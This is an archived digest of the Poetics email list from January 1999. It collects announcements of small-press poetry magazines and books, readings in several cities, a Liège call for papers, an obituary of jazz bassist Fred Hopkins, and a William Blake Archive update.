You might also want to send short announcements of new publications directly to the Poetics List as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

4. Michael Magee
COMBO 2 & website
Mon 11 Jan 1999

Howdy folks, in all the fuss & muss of poetics list armageddon last month, some of you may have missed my announcement of COMBO 2 (set to the sounds of Sly & The Family Stone's "Hot Fun in the Summertime.") Anyway, our second issue features Pattie McCarthy, Brett Evans, Prageeta Sharma, Heather Fuller, David Kellogg, Ray DiPalma, Lee Ann Brown, Chris McCreary, Ange Mlinko, Kit Robinson, Standard Schaefer, & Lev Rubinshtein.

By now, someone you know should have seen COMBO and will be happy to tell you how great it is. Go ask them. If they look at you quizzically, go to our web-site:

http://dept.english.upenn.edu/~wh/combo/index.html

where you'll find info as well as sample poems. You can also contact me:

email: [redacted] snail: 31 Perrin Ave.
Pawtucket, RI 02861

Single issues: $3.00 Subscriptions: (4 issues) $10.00.

Glad to be speaking to you all again.

-Mike Magee.

↑ Index

5. Tosh
TamTam Books
Mon 11 Jan 1999

Small Press Distributors are now handling TamTam Books. Two titles are out now:

Boris Vian's I SPIT ON YOUR GRAVES (ISBN 0-9662346-0-X) $17.00 and Serge Gainsbourg's EVGUENIE SOKOLOV (ISBN 0-9662346-1-8) $17.00. Upcoming title is Guy Debord's CONSIDERATIONS ON THE ASSASSINATION OF GERARD LEBOVICI.

If you wish to see the book covers and read commentary on the books (Vian & Gainsoburg), you can locate them on the Amazon.com website.

If you wish to be on the TamTam Books e-mail list, backchannel me and I will add your name to the list.

ciao,

Tosh Berman
TamTam Books

↑ Index

6. Daniel Kane
Eileen Myles on WriteNet
Mon 11 Jan 1999

This month on Writenet's <www.writenet.org> "Poets on Poetry" page, Daniel Kane and poet Eileen Myles talk about the relationship between color and poetry, Eileen's dog, and how to use specific, everyday details in poetry in an effort to not sound maudlin and phony. You can also download a WAV file of Eileen reading her poem "School of Fish." To go directly to the Myles page, point your browser to

http://www.writenet.org/poetschat/poetschat_em0199.html

↑ Index

7. Pete Neufeld
Re: TamTam Books
Mon 11 Jan 1999

-----Original Message-----
From: Tosh [mailto:[redacted]]
Sent: Monday, January 11, 1999 11:29 AM
To: [redacted]
Subject: TamTam Books

Small Press Distributors are now handling TamTam Books. Two titles are out now:

Boris Vian's I SPIT ON YOUR GRAVES (ISBN 0-9662346-0-X) $17.00 and Serge Gainsbourg's EVGUENIE SOKOLOV (ISBN 0-9662346-1-8) $17.00. Upcoming title is Guy Debord's CONSIDERATIONS ON THE ASSASSINATION OF GERARD LEBOVICI.

If you wish to see the book covers and read commentary on the books (Vian & Gainsoburg), you can locate them on the Amazon.com website.

If you wish to be on the TamTam Books e-mail list, backchannel me and I will add your name to the list.

ciao,

Tosh Berman
TamTam Books

↑ Index

8. raea100900
Page Mothers Conference
Mon 11 Jan 1999

I want to announce that U.C.S.D. will host Page Mothers, a conference celebrating California women poets as editors and publishers, on March 5th and 6th.There will be two days of panel discussions featuring Lyn Hejinian, Carla Harryman, Mary Margaret Sloan, Leslie Scalapino, Juliana Spahr, Dodie Bellamy, and Marjorie Perloff, just to name a few. For more information about this event, please check out our website. Its address is
http://orpheus.ucsd.edu/lit/pagemothers.html

Rae Armantrout

↑ Index

9. Katie Degentesh
9x9 Industries Reads at Beyond Baroque
Mon 11 Jan 1999

Just wanted to pass on this information to those of you in the LA area... 9x9 Industries is reading this Saturday, January 16th, at Beyond Baroque.

9X9 Industries, San Francisco's premier poetry/performance cartel, rides to LA! The readers are:

Brandon Downing, 1997 Chelsea Award for fiction
Katie Degentesh, 1998 Ina Coolbirth Memorial Prize
Tarin Towers, 1998 Pushcart Prize winner
Abie Hadjitarkhani, director of the Paraffin Arts Project
Jan Richman, Academy of American Poets 1995 Walt Whitman Award
Eugene Ostashevsky, "His whines emanate from the root of all suffering" (Playboy Online)
The Mysterious Mr. Clam, so mysterious we don't know his awards
Alicia Wing

Sat. JAN. 16
Beyond Baroque
681 Venice Blvd (cross sts. Lincoln x Abbot Kinney)
[redacted]
7:30
$5 students, $7 "regular people"

9X9 may be found online at http://www.paraffin.org/nine/

↑ Index

10. Alaric Sumner
PAJ Writing and Performance
Tue 12 Jan 1999

The following is part of the contents page of PAJ 61 (out now) listing the Performance Writing section that I have edited. Full contents page available at: http://muse.jhu.edu/journals/performing_arts_journal/toc/pajv021.html#v021.1

Writing & Performance

Ric Allsopp
Performance Writing

Alaric Sumner
Wade in Words

Alaric Sumner
The Unspeakable Rooms: A Prescript of Performance Possibilities

Alaric Sumner
The Unspeakable Rooms: A Performance

Carlyle Reedy
(Interviewed by Alaric Sumner)
Language Image Sound Object

Carlyle Reedy
Intimations and Intimidations of Aphrodite

Carlyle Reedy
Compassion

Lawrence Upton
Sunken Garden Stone Head M

Caroline Bergvall
The Hungry Form (G.eek Mix)

Cris Cheek
The Place of the F (lute) oot in C (alt.) ure

Julian Maynard Smith
(Interviewed by Alaric Sumner)
Codifying Behavior into Language and Re-enacting It

The Johns Hopkins University Press

E-ISSN: 1520-281X

Print ISSN: 0735-8393

Edited by Bonnie Marranca and Gautam Dasgupta

Subscription Information

Electronic Pricing Schedule

Annual Subscriptions (1999):
Print for Individuals: $24.50
Print for Institutions: $60.00
Online to Institutions: $54.00 (Now available!)
Both Online and Print for Institutions: $78.00 (Now available!)

Special rates available for full database institutional subscriptions to Project Muse.

Single Print Issues:
Individuals: $8.50
Institutions: $21.00

Agency: 5%

Other Discounts:
Orders for 10 or more issues will receive a 10% discount.

Foreign:
Please add $6.00 postage for Canada & Mexico; $8.00 outside North America.

Sample Issues:
Print: Sample copies are available upon request.
Online: Sample issue available!

To place an order for electronic or paper subscriptions, contact

The Johns Hopkins University Press
Journals Publishing Division
P.O. Box 19966
Baltimore, Maryland 21211
Phone: [redacted]
FAX: [redacted]

Toll-Free: [redacted]
Electronic mail: [redacted]

http://muse.jhu.edu/journals/performing_arts_journal/information/subscription.ht ml

↑ Index

11. Michel Delville

POSTWAR AMERICAN POETRY / University of Liège , Belgium

Tue 12 Jan 1999

(LAST) CALL FOR PAPERS

POST-WAR AMERICAN POETRY
(http://www.ulg.ac.be/facphl/annonces/pwap.html)

University of Liège (Belgium) -- March 3-4, 1999

Guest readers and keynote speakers

Joe Amato
Maxine Chernoff
H. Kassia Fleisher
Paul Hoover
Pierre Lagayette
Peter Middleton
Keith Waldrop
Rosmarie Waldrop

Abstracts / one-page proposals for papers on any aspect of post-war American poetry are invited.

PROPOSALS ON THE WORKS OF ATTENDING WRITERS ARE ESPECIALLY WELCOME.

Other possible topics include:

- anthologies; canon formation
- American poetry in an international context
- American poetry and multiculturalism/multilingualism
- the use, or nonuse, of traditional modes, genres, and subgenres
- the politics of poetic form
- poetry and the performing arts
- American poetry and postmodernism
- Language writing
- American poetry and the mass media

The proceedings will be published.

Please send abstracts and proposals, by January 20, 1999, to:

Michel Delville & Christine Pagnoulle
Université de Liège
Département d'anglais
3, Place Cockerill
4000 Liège
(Belgium)
Fax: [redacted]
e-mail: [redacted] or [redacted]

More program information is available on the web:
http://www.ulg.ac.be/facphl/annonces/pwap.html.

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

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12. aerialedge
Bernstein publication reading in DC
Tue 12 Jan 1999

Charles Bernstein

Sunday January 17 @ 8 PM

You are cordially invited to a publication reading for Bernstein's new books: _My Way: Speeches and Poems_ from the University of Chicago Press, and _Log Rhythms_ (Granary Press), poems, with illustrations by Susan Bee.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington DC

ph [redacted]

(5 blocks from the Foggy Bottom Metro, next to the Four Seasons Hotel in Georgetown)

B.Y.O.E.

(Bring Your Own Ears)

↑ Index

13. Poetry Project
New Poets on Website
Tue 12 Jan 1999

A new selection of work by

Tonya Foster
Dan Machlin
Lisa Robertson
Jocelyn Saidenberg
Anthony Salerno

in "Poets & Poems" at the Poetry Project's website

http://www.poetryproject.com

And this week at the Poetry Project

Wed. Jan 13th
Michael Friedman & Sarah Schulman
8 pm

Fri. Jan 15th
Martin Luther King Jr. pre-celebration
with Hettie Jones, David Henderson, Patricia Spears Jones, Sharan Strange and more
10:30 pm

↑ Index

14. Pritchett,Patrick
FW: re: Left Hand Reading Series - 1/21/99
Tue 12 Jan 1999

> **** THE LEFT HAND READING SERIES INAUGURAL READING FOR 1999 ****
>
> *ANSELM HOLLO*
> *PATRICK PRITCHETT*
> *LAURA WRIGHT*
>
> *Thursday, January 21, 1999 at 8:30pm.*
> *Left Hand Books, 1825 Pearl Street (above the Crystal Market).*
> *Admission is FREE, but donations are requested.*
> *An Open Reading will precede the featured readers*

> *Anselm Hollo, a native of Finland and professor of poetry at Naropa, is the author of over 35 books, including recently "Corvus," and "AHOE2: Johnny Cash Writes A Letter To Santa Claus." He is one of this country's pre-eminent translators. This reading marks his return to Boulder from a residency in Fontainebleu, France.*
>
> *Patrick Pritchett is the author of "Ark Dive," an elegy for the poet Ronald Johnson. His essay on Anselm Hollo will appear later this spring in Andrei Codrescu's Exquisite Corpse anthology, "Thus Spake The Corpse." His poems have appeared in New American Writing, Prairie Schooner and many other journals.*
>
> *Laura Wright is the author of "Where Hunger Is A Place" and "Hide: what's difficult," forthcoming from Poetry New York. A classically-trained musician as well as a poet, she is currently working on translations of the poetry of Henri Michaux.*

↑ Index

15. Jordan Davis

SHINY / Steve McCaffery and Karen McCormack @ POETRY CITY

Tue 12 Jan 1999

Two free events
at POETRY CITY
in the offices of Teachers & Writers Collaborative
5 Union Square West NYC
over the next two weeks:

Friday January 15 7 pm

SHINY Michael Friedman editor Larry Fagin guest editor

Reading from No 9/10 featuring Jordan Davis Tim Davis Judith Goldman Ted Greenwald Lisa Jarnot Stephen Malmude Ange Mlinko Charles North Ron Padgett Stephen Rodefer Prageeta Sharma Tony Towle Carol Szamatowicz Paul Violi

Friday January 22 7 pm

Steve McCaffery and Karen McCormack

as always a cordial bourgeois atmosphere replete with snacks and booze

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16. Laura E. Wright
Boulder Event
Tue 12 Jan 1999

*** THE LEFT HAND READING SERIES INAUGURAL READING FOR 1999 ***

ANSELM HOLLO
PATRICK PRITCHETT
LAURA WRIGHT

Thursday, January 21, 1999 at 8:30pm.
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difficult," forthcoming from Poetry New York. A classically-trained musician
as well as a poet, she is currently working on translations of the poetry of
Henri Michaux.

↑ Index

17. Mark Wallace
Charles Bernstein @ Bridge Street Books
Tue 12 Jan 1999

FRANK SINATRA WATCH OUT! The following literary event may present a very serious challenge:

Charles Bernstein

Sunday January 17 @ 8 PM

@ Bridge Street Books

You are cordially invited to a publication reading for Bernstein's two new books: _My Way: Speeches and Poems_ from the University of Chicago Press, and _Log Rhythms_ (Granary Press), poems, with illustrations by Susan Bee.

Charles Bernstein is David Gray Professor of Poetry and Letters at the State University of New York at Buffalo. He coedited the influential journal L=A=N=G=U=A=G=E and has authored twenty books of poetry including _Dark City_, _Rough Trades_, and _The Sophist. His essay collections are _Content's Dream_, and _A Poetics_.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington DC

ph [redacted]

(5 blocks from the Foggy Bottom Metro, next to the Four Seasons Hotel in Georgetown)

B.Y.O.E.

(Bring Your Own Ears)

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18. dbkk
Gizzi and Thackrey at SPT
Tue 12 Jan 1999

Small Press Traffic presents

Peter Gizzi
Susan Thackrey

Friday, January 15, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

We jump into 1999 with the inimitable Peter Gizzi, whose new book Artificial Heart (Burning Deck) shows him off at his absolute best, as a supple and lyrical poet who can make anything happen with words. His poetry is playful, mathematical, highly constructed and romantic, like that Chinese nightingale in Yeats' Byzantium poems, but living and sentient, a hot line to the real. Peter Gizzi was born in 1959 and grew up in Pittsfield, Massachusetts. His editing projects have included the celebrated little magazine O.Blek: A Journal Of Language Arts

(1987-93), the international literary anthology the Exact Change Yearbook (1995), and The House That Jack Built: The Collected Lectures Of Jack Spicer (Wesleyan, 1998). He lives in Santa Cruz and teaches literature and creative writing for the University of California.

Susan Thackrey has long been a fixture of the Bay Area art and poetry scene, and her admirers have waited for fifteen years for the release of her first book, Empty Gate, now available from Berkeley's terrific Listening Chamber press. Empty Gate is a pungent distillation of experience and uncertainty; its short little lines, serial notation, and hints of mythic grandeur are homeopathic in their simplicity and efficacy. Thackrey's poetry has been published in Acts, Apex of the M, Avec, Talisman, and Hambone. She owned and ran an art gallery and has published critical writing on film and photography in Cinemagraph and Afterimage. During the early days of New College's Poetics Program, Susan Thackrey studied with Robert Duncan; his ghost will be walking the halls of New College tonight during this great event.

↑ Index

19. Aldon Nielsen
one more for posterity
Tue 12 Jan 1999

A musician who has worked with many poets -- see in particular his work on the new John Tchicai jazz/poetry disk

> *Date: Sun, 10 Jan 1999 13:30:19 -0600*
>
> *Here's the obit for Fred Hopkins from the Chicago Sun-Times:*
>
> *"Fred Hopkins, jazz bassist, dies*
>
> *January 9, 1999*
>
> *BY LLOYD SACHS ENTERTAINMENT CRITIC*
>
> *Fred Hopkins, widely acknowledged in avant-garde circles as one of the most*

fiercely talented, charismatic and original bassists in modern jazz, died Thursday at the University of Chicago Hospital. He was 51. The cause of death was heart-related. Further details were not disclosed.

A South Side native who moved back to his hometown in 1997 after more than 20 years in New York, Mr. Hopkins was best known for his work in Air, an acclaimed trio. Formed in 1975 in New York, it included saxophonist Henry Threadgill and drummer Steve McCall, with whom he had played in the early-1970s Chicago group, Reflection.

An integral part of later Threadgill groups, Mr. Hopkins worked regularly with such major figures as Muhal Richard Abrams, David Murray, Anthony Braxton and Don Pullen. His stature is reflected in his presence on dozens of important recordings.

A product of Capt. Walter Dyett's famed music program at Du Sable High School, Mr. Hopkins trained with the Civic Orchestra and later studied the bass with Joseph Guastafeste of the Chicago Symphony Orchestra.

A free-spirited, hard-living, effusively outspoken individual, he brought a carefree brilliance to his playing, which featured sometimes outlandish bowing effects. He prided himself on being able to play in diverse settings, counting among his important influences the classical bassist (and conductor) Serge Koussevitsky as well as jazz bassists Wilbur Ware, Richard Davis and Ray Brown.

``What you want to do is express yourself on your instrument, to share your thoughts about sound,'' he said in an interview last year, having just formed his first band as a leader. ``But doing that has gotten me in trouble. The more creative I become, the more people try to tell me how to play. Well, listen, no one is going to tell me how to play the bass. That's what I do.''

``He was one of the most fascinating soloists on the bass I have ever heard,'' said trumpeter Malachi Thompson. ``His total approach was so unique. He's one of those artists who can't be replaced because to even try to do what he did is impossible.''

Mr. Hopkins is survived by his mother and six siblings. Funeral arrangements were being planned."

↑ Index

20. William Slaughter

Mudlark No. 10

Tue 12 Jan 1999

New and On View: Mudlark No. 10 (1998)

DIANE WALD | IMPROVISATIONS
ON TITLES OF WORKS BY JEAN DUBUFFET

* * * * * * * * * * * * *

Diane Wald was born in Paterson, NJ, and has lived in Massachusetts since 1972. She has been publishing in literary magazines since 1966: including, for example, Kayak, Black Warrior Review, American Poetry Review, Salt Hill Journal, Ploughshares, Missouri Review, Boston Literary Review, and College English. She was the recipient of a two-year fellowship in poetry from the Fine Arts Work Center in Provincetown and has been awarded the Grolier Poetry Prize, The Denny Award, and The Open Voice Award. She also received a state grant from the Artists Foundation (Massachusetts Council on the Arts). She has published two chapbooks (MY HAT THAT WAS DREAMING from White Fields Press and DOUBLE MIRROR from Runaway Spoon Press) and won the Green Lake Chapbook Award from Owl Creek Press for THE WHITE HORSE LOVE POEMS. Her full-length collection, LUCID SUITCASE, is due out from Red Hen Press in 1999. She teaches at University College of Northeastern University, and at The Art Institute of Boston, where she is Dean of Faculty. She has also taught autobiography courses for Writers on the Net.

* * * * * * * * * * * * *

Spread the word. Far and wide.

William Slaughter, Editor

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
http://www.unf.edu/mudlark
[redacted]

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21. Poetics List

Coach House Books

Tue 12 Jan 1999

Coach House Books and the Red Head Gallery invite you to strike a blow against Official Verse Culture by attending the launch of two new books of poetry:

FIT TO PRINT by Alan Halsey and Karen Mac Cormack

dyslexicon by Stephen Cain

19 January 1999
8 pm
The Red Head Gallery
96 Spadina Avenue, 8th floor

Authors Karen Mac Cormack and Stephen Cain will be in attendance. Steve McCaffery will be playing the part of Alan Halsey for the evening. New work by painter Jason Dunda will be on display.

Cash bar. Snacks will be served (but don't make a pig of yourself).

ABOUT THE BOOKS

Hallmark Cards aficionados beware: these are not collections of lyrical verse.

FIT TO PRINT, a first-time collaboration for UK poet Halsey and Toronto poet Mac Cormack, is a tour-de-force work which poeticizes the most quotidian of literary forms: the newspaper column. FIT TO PRINT serves as eloquent proof of Marshall McLuhan's suggestion that to read a newspaper is to experience Cubism in the everyday world.

dyslexicon, small press regular Stephen Cain's first full-length book, is a double-lunged bong hit of mid-Eighties post-punk college rock, Gertrude Stein, art films, and the comedic legacy of Laurel and Hardy (including such great standup teams as Billy the Kid and Pat Garrett, HD and Ezra Pound, Jesus and Judas, and Steve McCaffery and bpNichol).

ABOUT THE AUTHORS

Stephen Cain currently resides in Toronto,where he is editor of Kitsch in Ink Press and a member of the (n-1) Collective. Previous chapbooks have appeared from fingerprinting inkorporated and above/ground presses. His visual and concrete poetry has appeared in Rampike, Torque, 1cent (Canada, and Essex (US). Cain is also completing a doctorate in English Literature at York University, specializing in Modern and Contemporary Poetics.

Alan Halsey's books include Perspectives On The Reach (1981), Five Years Out (1989), Reasonable Distance (1992), The Text of Shelley'sDeath (1995) and A Robin Hood Book (1996). He was born in London, England in 1949, and now lives in Sheffield.

Karen Mac Cormack was born in Luanshya, Zambia in 1956. She is the author of seven books of poetry, including Straw Cupid (1987), Quirks & Quillets (1991), Marine Snow (1995), and The Tongue Moves Talk (1997). Of dual British/Canadian citizenship, she lives in Toronto.

Coach House Books * http://www.chbooks.com
e-mail: [redacted]

online and offset poetry, fiction & artist's books

401 Huron St (rear) on bpNichol Lane
Toronto, Ontario
M5S 2G5
[redacted] or outside Toronto [redacted]

Coach House Books uses 100% post-consumer pixels in its electronic texts.

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22. Poetics List

TROPE

Tue 12 Jan 1999

TROPE Poetry and Graphics

is now online at:
www.erols.com/tsimonds

This issue features the poetry of: Carlo Parcelli, Joe Brennan, Billy Little, Sam Garren, Coppie Green, Steve Roberts, David Blair, Bruce Piephoff, A.L. Quoyne, Jack Waitts, Richard Gess and David Hickman

Photographs and Graphics by: Richard Gess, A .Bruce, David Hickman

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23. Harriet Zinnes
reading and performance
Tue 12 Jan 1999

Gathering of the Tribes (Tribes Gallery: 285 EAst Third STreet, between C and D, New York City) in conjunction with INVERTING THE DREAM, an exhibition by Alice Zinnes, presents a reading/performance on Saturday, January l6 from 6-8 pm. Hal Sirowitz will read from his recents books, MOTHER SAID and MY THERAPIST SAID as well as from his recent memoir. David Peterson will read from his novel, I RUN AND FEEL RAIN. Christopher Sippel will perform and read from his recent poetry. Harriet Zinnes will read from her recent colection of poetry, MY, HAVEN'T THE FLOWERS BEEN? and from her just published short story collection, THE RADIANT ABSURDITY OF DESIRE.

Free. All Welcome.

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24. Charles Bernstein
My Way & Figuring the Word in New York
Tue 12 Jan 1999

Book Party
Saturday, January 16, 1999
6-8 PM
@ The New Museum of Contemporary Art Bookstore
583 Broadway
This will be a reception for My Way: Speeches and Poems and
Johanna Drucker's Figuring the Word: Essays on Books, Writing, and Visual Poetics

For more information on Figuring the Word, including an essay from the book, "The Art of the Written Image"
http://www.granarybooks.com/newbooks/drucker3/drucker3.1.html

For more information about My Way: Speeches and Poems
http://writing.upenn.edu/epc/authors/bernstein/MyWay.html

For more information Log Rhythms, illustrated by Susan Bee, which I will be reading at Bridge Street Books in D.C. on Sunday, January 17
http://www.granarybooks.com/newbooks/bernstein/bernstein1.html

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25. Elizabeth Treadwell

Call for work Outlet (4/5) Weathermap--early edition

Tue 12 Jan 1999

Hello friends, Happy New Year

Outlet (3) Ornament will be out in March with work by Laura Moriarty, Brenda Iijima, Jason Nelson, and Malcolm de Chazal translated by Irving Weiss. Along with many more new fashionable and exciting writers and writings, and an interview with Harriet Zinnes on her heady headstrong days as a junior editor at Harper's Bazaar.....Why not order now? $5, 68 pp, saddlestitch, checks or stamps or cash, checks to E. Treadwell, please and thanks.

OUR NEXT CALL
Outlet (4/5) Weathermap Meaning: a.) themeless, for a change, with an inclination toward maps & weather; b.) concerned with the experimental poetics of the now, as well as the then,* with a particular interest in various/variable feminisms thereof.
Deadline: June 15, 1999.
(double issue!!)
*if you have a critical piece to tout/pitch please contact Elizabeth at
[redacted]

Hope to hear from you,

Elizabeth Treadwell
Sarah Anne Cox
Grace Lovelace
Carol Treadwell
Editors

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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26. Robert Manery

Norma Cole reading & talk

Tue 12 Jan 1999

The Kootenay School of Writing
112 West Hastings St
Vancouver BC

[redacted]

KSW is pleased to present a reading and talk
by Norma Cole

Reading
Saturday January 23, 8 pm
Admission $3/$5

Talk: "The Poetics of Veritgo"
Sunday January 24, 3 pm
Admission $3/$5

Norma Cole is a Canadian poet and long time resident of San Francisco. Her books include Mace Hill Remap, Metamorphopsia, My Bird Book, Mars, and most recently, MOIRA, Contrafact and Desire and its Double. She has done important work in translation, translating works by contemporary French poets such as Anne Portugal, Emmanuel Hocquard and Danielle Collobert. With Stacy Doris she recently edited an issue of Raddle Moon called "Twenty-Two New (to North America) French Writers," which was exciting both for the work translated and for the choice of poet-translators. She and Michael Palmer edited and translated The Surrealists Look at Art. She has been a recipient of the Gertrude Stein Award for Poetry several times, and has also received a Gerbode Award for Poetry and an award from the Fund for Poetry. She currently teaches at San Francisco State University.

Norma Cole recently gave the "George Oppen Memorial Lecture on Twentieth Century Poetics" at The Poetry Center, San Francisco State University. She will present a version of that talk at the KSW.

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27. Steven Clay
Johanna Drucker / Figuring the Word & a note on Granary Books
Wed 13 Jan 1999

<fontfamily><param>FFScala</param>Granary's website has been updated and now includes (as well as a listing of recent, new and forthcoming titles) a search engine for browsing our every changing inventory of out-of-print (& rare) poetry books, little mags and artists' books. Have a look:

http://www.granarybooks.com

Granary Books announces a new publication:

Figuring the Word: Essays on Books, Writing and Visual Poetics collects diverse writings by Johanna Drucker previously published in literary and scholarly journals. Topics include: "The Word Made Flesh," "Writing as Artifact," "Visual Poetics," "Artists' Books Past and Future," "The Future of Writing," & "Personal

Writing." The book also includes an anecdotal checklist of Drucker's artists's books and an informative introduction by poet Charles Bernstein.

"Figuring the Word is a work of poetics rather than criticism or theory in that these essays are the products of doing as much as thinking, of printing as much as writing, of designing as much as researching, of typography as much as composition, of autobiography as much as theory. The mark of the practitioner-critic is everywhere present in these piecesŠFiguring the Word is a wide-ranging collection of Drucker's essays from the early-80's to the present. Written in a variety of styles and presented in a variety of formats, the book reflects many divergent aspects of her work and thinking, while at the same time demonstrating how cohesive her project has been. Drucker begins with a wonderfully digressive discussion of her work as a book artist in which she gives an account of what lead her not only to her book art, but also to her related scholarly investigations. She then provides a series of close readings of the work of a number of contemporary language artists, providing in other essays overviews of the historical precedents for this work. The book includes not only a perceptive essay about the use of language in the landscape but also a prescient essay about the use of language in the new electronic frontier of cyberspace."

-from the introduction by Charles Bernstein, Poet, Editor and David Gray Professor of Poetry and Poetics at SUNY-Buffalo.

Johanna Drucker has been making books since 1972. She teaches.... Her recent critical publications include The Century of Artists Books (Granary Books, 1995), The Alphabetic Labyrinth (Thames and Hudson, 1995), Theorizing Modernism (Columbia University Press, 1994) and The Visible Word (University of Chicago Press, 1994); creative titles include: Prove Before Laying (Druckwerk, 1997) and Narratology (Druckwerk, 1994).

Paperback original. ISBN 1-887123-23-7 $24.95

Available at better bookstores, our primary distributor D. A. P. (1-800-338-BOOK); Small Press Distribution ([redacted]), or direct >from the publisher: Granary Books 568 Broadway #403 New York, NY 10012 ([redacted]; [redacted])</fontfamily>

There will be a Book Party for

Figuring the Word

&

My Way: Speeches and Poems and Speeches by Charles Bernstein (Univ of Chicago)

Saturday, January 16, 1999

6-8 PM

@ The New Museum of Contemporary Art Bookstore

583 Broadway

(between Houston & Prince in Soho) (NYC)

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28. Albert Glover

<No subject>

Wed 13 Jan 1999

Glover Publishing News

1. Relax Yr Face, by Albert Glover. Sonnets, occasional verse, and collaborations. 60 pp. perfect bound. 400 copies in first printing. Covers by Maria Jill Cheval. $10 plus 2.50 p&h. Order directly from Glover Publishing, P.O. Box 633, Canton, NY 13617.

2. Interrogating the Tomb, by Albert Glover. A Rite for the inauguration of Daniel Sullivan as President of St. Lawrence University. 25 copies printed by Mark McMurray at Caliban Press, 14 Jay St., Canton, NY 13617. Fine Arts Book.

3. Interrogating the Tomb, text by Albert Glover - music by Norman Hessert. Tape cassette with Lynn Sarf vocalist. $8 plus 2.50 p&h. Order directly from Glover Publishing, P.O. Box 633, Canton, NY 13617.

4. Michael Boughn to provide fascicle #4 (Mind) for A Curriculum of the Soul. Based on a plan by Charles Olson; general editor John Clarke. This number was originally "assigned" to Robert Creeley who refused participation. Mind will be the 27th fascicle in the projected series of 28. All fascicles are available from the publisher directly or from SPD, 1341 Seventh St., Berkeley, CA 94710. Published for The Institute of Further Studies by Glover Publishing, P.O. Box 633, Canton, NY 13617.

5. Lisa Jarnot to give annual Sandra M. Nelson poetry reading at St. Lawrence University, Wednesday April 7th.

6. Diane di Prima to receive honorary Doctor of Humane Letters degree from St. Lawrence University at 1999 commencement ceremony, Sunday, May 23rd, 10 a.m.

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29. Mark Wallace

SITUATION #17 and #18 are now available

Wed 13 Jan 1999

After a delay because of new production and related difficulties, two new issues of SITUATION magazine are now availabe.

SITUATION #17 is a Heather Fuller chapbook, BEGGAR, an intense intersection between street level political engagement, avant garde form, and personal immediacy written by one of the most savvy up and coming poets around.

SITUATION #18 features work by BETH JOSELOW, CHRIS ALEXANDER, PATRICK DURGIN, NAVA FADER, BRENT HENDRICKS, MARK PREJSNAR, MICHAEL RUBY, MARK SALERNO, TIMOTHY SHEA, and CATHERINE WAGNER.

SITUATION is edited by Joanne Molina and Mark Wallace. It's published several times a year, whenever there's sufficient time and material. We're continuing our commitment to mixing better known poets with new writers many of you may not have read yet, but will be reading soon. All submissions must be accompanied by an SASE (and remember it's now $.33 for a regular letter). Manuscripts for chapbook issues are handled by solicitation only. Subscriptions are $10 for four issues or $3 for back or single issues. Make checks payable to Mark Wallace. Send submissions or subscriptions to SITUATION, 10402 Ewell Ave., Kensington, MD 20895.

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
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30. Matt Kirschenbaum

Blake Archive's January Update

Wed 13 Jan 1999

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13 January 1999

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake/> are pleased to announce the opening of a major new wing of the site, devoted to documentation and supplementary materials "About the Archive." Available as the first entry on our main table of contents page from the URL above, the "About the Archive" materials consist of:

A brief overview of the Archive for first-time or hurried users, entitled The Archive at a Glance;

A statement of Editorial Principles and Methodology;

A Technical Summary of the Archive's design and implementation;

A Frequently Asked Questions list;

A reference page listing articles by members of the project team, as well as reviews and notices of the Archive by others;

An updated and expanded version of the article-length Plan of the Archive, providing additional detail about our intentions with regard to Blake's non-illuminated works.

Also included is information about the editors, an account of the Archive's collaboration with the Institute for Advanced Technology in the Humanities, and a link to our extensive Help documentation. In addition, we will shortly be adding a Tour of the Archive to these materials (combining textual narration, graphical screenshots, and suggestions as to how to use the Archive).

We would also like to take this opportunity to announce the Archive's recently convened Advisory Board and to thank those who have agreed to serve:

Ann Bermingham
Professor of the History of Art and Architecture
University of California, Santa Barbara

David Bindman
Durning-Lawrence Professor of the History of Art
University College London

Frances Carey
Associate Keeper, Department of Prints and Drawings
British Museum, London

Ruth Fine
Curator of Modern Prints and Drawings
National Gallery of Art, Washington, D.C.

Nelson Hilton
Professor of English
University of Georgia

Steven Jones
Associate Professor of English
Loyola University, Chicago

Karl Kroeber
Mellon Professor of the Humanities
Columbia University

Alan Liu
Professor of English
University of California, Santa Barbara

Jerome J. McGann
John Stewart Bryan University Professor of English
University of Virginia

Morton D. Paley
Professor in the Graduate School (English)
University of California, Berkeley

Daniel Pitti
Project Director
Institute for Advanced Technology in the Humanities
University of Virginia

Duncan Robinson
Director
Fitzwilliam Museum
Cambridge, England

G. Thomas Tanselle
Vice-President
John Simon Guggenheim Memorial Foundation

John Unsworth
Director
Institute for Advanced Technology in the Humanities
University of Virginia

We have an ambitious publication schedule planned for the spring, focused on adding additional copies of the illuminated works already available in the Archive. In the immediate future we plan to publish the _Songs of Innocence and of Experience_ (copies C, F, and L) and _The Marriage of Heaven and Hell_ (copies C and F), followed by multiple copies of _The Book of Urizen_, _America: A Prophecy_, _Europe: A Prophecy_, _The Book of Thel_, and _Visions of the Daughters of Albion_, as well as further copies of the separate and combined _Songs_ and the _Marriage_. We hope to follow these works with _Jerusalem_ copy E by the summer, thus completing the illuminated canon. This spring we will also be releasing the electronic Erdman edition in beta form and publishing detailed lists documenting the complete contents of the various U.S. and U.K. Blake collections (now nine of them) contributing works to the Archive.

Finally, we list below the electronic editions already in the Archive (26 copies of 16 separate illuminated books) for the benefit of those teaching Blake in the spring semester.

All Religions are One, copy A
There is No Natural Religion, copies B, C, G, and L
The Book of Thel, copies F, H, and O
The Marriage of Heaven and Hell, copy D
Visions of the Daughters of Albion, copies C, F, and J
America: a Prophecy, copies A and E
Songs of Innocence and of Experience, copy Z
Europe: a Prophecy, copies B and E
The First Book of Urizen, copy G
The Song of Los, copy B
The Book of Los, copy A
The Book of Ahania, copy A
Milton, a Poem, copy C
On Homers Poetry [and] On Virgil, copies B and F
